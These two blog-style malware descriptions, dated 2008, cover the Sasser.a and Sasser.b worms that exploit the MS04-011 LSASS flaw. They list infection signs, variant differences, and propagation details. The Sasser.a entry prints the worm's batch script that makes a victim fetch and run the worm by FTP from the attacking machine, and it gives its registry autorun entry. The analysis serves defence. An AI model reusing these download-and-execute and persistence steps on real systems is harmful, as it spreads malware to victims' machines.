Details
Worm.Win32.Sasser.b

Sasser.b is an Internet worm that uses the MS Windows LSASS vulnerability described in Microsoft Security Bulletin MS04-011.
Microsoft released a patch for this vulnerability on april 13, 2004, while Sasser.a was first detected on April 30, 2004.
Sasser.b operates in a very similar manner to Lovesan, except that Lovesan exploited a vulnerability in the PRC DCOM service, not the LSASS service.
Sasser affects computers running Windows 2000, Windows XP, Windows Server 2003. Sasser functions on all other versions of Windows but is unable to infect them by attacking via the vulnerability.
Sasser is written in C/C++, using the Visual C complier. The wrom is about 15 KL and is packed by PECompact2.
Signs of Infection
avserve.exe in the Windows directory.
An error message about the LSASS service failing which usually also causes the system to reboot.
Differences between Sasser.a and Sasser.b
Sasser.b uses a different file name for the main component that is registered in the system registry autorun key: avserve2.exe instead of avserve.exe.
The unique identifier name is changed to Jobaka3 and Sasser.b also attempts to create a second identifier named JumpallsNlsTillt.
The number of propagation routines is increased from 128 to 1024 and the name of the log file is changed to win2.log

Related Posts

This entry was posted on Saturday, August 30th, 2008 at 11:50 am and is filed under Virus Threats.

Details
Worm.Win32.Sasser.a

Sasser is an Internet worm that exploits the MS Windows LSASS vulnerability described in Microsoft Security Bulletin MS04-011.
Microsoft released a patch for this vulnerability on April 13, 2004, while Sasser.a was first detected on April 30, 2004.
Sasser operates in a very similar manner to Lovesan, except that Lovesan exploited a vulnerability in the PRC DCOM service, not the LSASS service.
Sasser affects computers running Windows 2000, Windows XP, Windows Server 2003. Sasser functions on all other versions of Windows but is unable to infect them by attacking via the vulnerability.
Sasser is written in C/C++, using the Visual C complier. The worm is about 15 KL and is packed by PECompact2.
Signs of Infection
the file ‘avserve.exe’ in the Windows directory.
An error message about the LSASS service failing which usually also causes the system to reboot.
Propagation
After launching, Sasser copies itself into the Windows root directory under the name avserve.exe and registers this file in the system registry autorun key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
“avserve.exe” = “%WINDIR%\avserve.exe”
Sasser creates a unique identifier ‘Jobaka31′ in the RAM to locate copies of itself in case of future attempts of infection.
Sasser launches FTP server on TCP port 5554 and then launches 128 propagation routines. During this process, the worm attempts to initiate the AbortSystemShutdown process in order to forbid system reboot.
Sasser initiates an IP-address scan in order to identify victim addresses and sends a request to TCP port 445. If any machines respond, Sasser exploits the LSASS vulnerability to launch a ‘cmd.exe’ command shell on TCP port 9996. Finally Sasser, commands the infected machine to download and launch the main worm component under the name “N_up.exe”, where “N” is a random number:
echo off
echo open [attacking machine address] 5554>>cmd.ftp
echo anonymous>>cmd.ftp
echo user
echo bin>>cmd.ftp
echo get [random number]_up.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
[random number]_up.exe
echo off
del cmd.ftp
echo on
As a result, one machine may be attacked more than once and contain multiple copies of the worm with sample names such as:
23101_up.exe
5409_up.exe
and so forth.
Other
After infection the victim machine generates an error message about a LSASS service failing, whereupon it may attempt to reboot.
Sasser creates the file ‘win.log’ in the C drive root directory where the worm records the IP-addresses of all attacked machines.

Related Posts

This entry was posted on Saturday, August 30th, 2008 at 7:50 am and is filed under Virus Threats.